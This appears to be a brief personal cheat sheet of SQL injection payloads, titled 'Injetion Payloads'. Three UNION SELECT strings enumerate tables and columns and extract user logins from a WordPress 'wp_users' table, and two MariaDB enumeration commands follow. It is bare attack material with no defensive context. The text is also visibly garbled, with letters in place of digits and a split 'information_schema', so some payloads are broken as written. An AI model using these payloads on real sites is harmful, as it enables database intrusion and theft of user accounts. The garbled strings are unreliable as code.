Injetion Payloads

' OR 1=2 UNION SELECT l,2,3,4,S,6,7,8,9,table_name,11 FROM information_s
chema.tables#

' OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,column_name,11 FROM information_schema.columns WHERE table_name='wp_users'#

' OR 1=2 UNION SELECT 1,2,3,4,S,6,7,8,9, user_login ,11 FROM wp_users#

Enumeration

MariaDB [ (none)]> SHOW Grants;
MariaDB [ (none)]> show variables